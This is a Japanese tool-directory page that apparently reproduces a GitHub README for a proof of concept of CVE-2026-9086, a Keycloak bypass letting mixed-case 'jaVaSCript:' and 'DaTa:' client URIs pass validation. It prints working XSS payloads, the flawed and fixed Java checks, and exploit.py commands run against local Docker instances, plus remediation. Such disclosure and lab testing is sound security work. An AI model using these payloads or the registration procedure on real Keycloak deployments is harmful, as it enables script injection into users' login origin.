Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/saku0512/cve-2026-9086-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティ学習と教育ラボと実践
GitHubsaku0512/cve-2026-9086-poc

CVE-2026-9086-poc

Keycloak クライアントの URI 検証バイパスを実証する CVE-2026-9086 の概念実証コード。大文字小文字を混在させた javascript: および data: XSS ペイロードを使用し、Docker ベースで脆弱性のあるバージョンと修正済みバージョンを検証します。

リポジトリを見る
121ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-9086: Keycloak URIスキーム検証バイパス XSS PoC

English version

概要

このリポジトリは、Keycloak のクライアントURI検証に存在する Cross-Site Scripting (XSS) 脆弱性 CVE-2026-9086 の Proof of Concept (PoC) です。

脆弱なKeycloakは、クライアントに設定されるURIの javascript: および data: スキームを大文字・小文字を区別して検証していました。そのため、 jaVaSCript: や DaTa: のような混在表記を使うと禁止スキームの検証を 回避できます。ブラウザーはURIスキームを大文字・小文字を区別せず解釈する ため、細工されたリンクを被害者がクリックすると、Keycloakオリジンで JavaScriptが実行される可能性があります。

このPoCは、Keycloak 26.6.3(脆弱版)と26.6.4(修正版)をDockerで起動し、 同じ混在表記URIをAdmin REST APIから登録します。脆弱版では登録が成功し、 修正版ではHTTP 400で拒否されることを確認します。

このPoCは登録したURIをブラウザーで開かず、JavaScriptを実行しません。


免責事項

このプロジェクトは、教育目的および許可されたセキュリティ検証のみを目的と しています。第三者のKeycloak環境に対する無断検証には使用しないでください。 本ツールの誤用、損害、違法行為について、作者は一切の責任を負いません。


脆弱性の詳細

  • CVE-2026-9086
CVE ID:
  • 製品: Keycloak / Red Hat build of Keycloak
  • 種別: Cross-Site Scripting (CWE-79)
  • CVSS v3.1: 7.3 High (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N)
  • 必要な権限: manage-client 権限、またはクライアント登録エンドポイントへのアクセス
  • ユーザー操作: 細工されたリンクのクリックが必要
  • PoC対象バージョン: Keycloak 26.6.3
  • PoC修正版: Keycloak 26.6.4
  • 影響範囲(NVD CPE): Red Hat build of Keycloak 26.4以上26.4.13未満、 26.6以上26.6.4未満
  • 根本原因

    修正前の DefaultClientValidationProvider は、禁止スキームを String.equals() で比較していました。

    root@kitploit:~
    if (uri.getScheme() != null
            && (uri.getScheme().equals("data")
            || uri.getScheme().equals("javascript"))) {
        // reject
    }
    

    java.net.URI#getScheme() は入力の大文字・小文字を保持するため、次のURIは 比較に一致せず、検証を通過します。

    root@kitploit:~
    jaVaSCript:alert(document.domain)
    DaTa:text/html;base64,PHNjcmlwdD5jb25maXJtKGRvY3VtZW50LmRvbWFpbik7PC9zY3JpcHQ+
    

    修正版では equalsIgnoreCase() が使われます。

    root@kitploit:~
    if (uri.getScheme() != null
            && (uri.getScheme().equalsIgnoreCase("data")
            || uri.getScheme().equalsIgnoreCase("javascript"))) {
        // reject
    }
    

    Proof of Concept(使用方法)

    1. 環境の起動

    Docker Composeで脆弱版と修正版を起動します。

    root@kitploit:~
    docker compose up -d
    

    起動対象:

    URLバージョン想定結果
    http://localhost:8180Keycloak 26.6.3URI登録成功(脆弱)
    http://localhost:8181Keycloak 26.6.4HTTP 400(修正済み)

    初回起動には少し時間がかかります。次のコマンドで状態を確認できます。

    root@kitploit:~
    docker compose logs -f
    

    両方のログに Listening on が表示されたら、Ctrl+C でログ表示を終了します。

    2. 脆弱版の検証

    root@kitploit:~
    python3 exploit.py \
      -t http://localhost:8180 \
      -u admin \
      -p admin \
      --expect vulnerable
    

    期待される出力:

    root@kitploit:~
    [!] VULNERABLE: Keycloak accepted the mixed-case javascript: URI.
    

    スクリプトは作成されたクライアントをAdmin APIから再取得し、細工されたURIが 保存されたことも確認します。

    3. 修正版の検証

    root@kitploit:~
    python3 exploit.py \
      -t http://localhost:8181 \
      -u admin \
      -p admin \
      --expect fixed
    

    期待される出力:

    root@kitploit:~
    [+] FIXED: Keycloak rejected the mixed-case javascript: URI.
    

    4. data: スキームの検証

    --scheme data を指定すると、混在表記の DaTa: URIを検証できます。

    root@kitploit:~
    python3 exploit.py -t http://localhost:8180 --scheme data --expect vulnerable
    python3 exploit.py -t http://localhost:8181 --scheme data --expect fixed
    

    5. クリーンアップ

    root@kitploit:~
    docker compose down -v
    

    PoCの動作

    exploit.py は次の処理だけを行います。

    1. admin-cli を使って管理者アクセストークンを取得する
    2. ランダムなクライアントIDを生成する
    3. 混在表記の jaVaSCript: または DaTa: URIを redirectUris に設定する
    4. /admin/realms/master/clients へクライアント作成リクエストを送信する
    5. 脆弱版では保存済みクライアントを再取得してURIを確認する
    6. 修正版ではHTTP 400と禁止スキームのエラーを確認する

    ブラウザーの起動、登録URIへの遷移、JavaScriptの実行は行いません。

    対策

    Keycloak 26.6系は 26.6.4以降、Red Hat build of Keycloak 26.4系は 26.4.13以降へ更新してください。

    併せて、既存クライアントのURI設定を監査し、大文字・小文字を問わず javascript: または data: を使用する値を削除してください。 manage-client 権限とクライアント登録エンドポイントへのアクセスも必要最小限に 制限してください。

    参考情報

    • NVD: CVE-2026-9086
    • Red Hat: CVE-2026-9086
    • Keycloak issue #50347
    • Keycloak fix commit 32cdceb
    ツールをダウンロード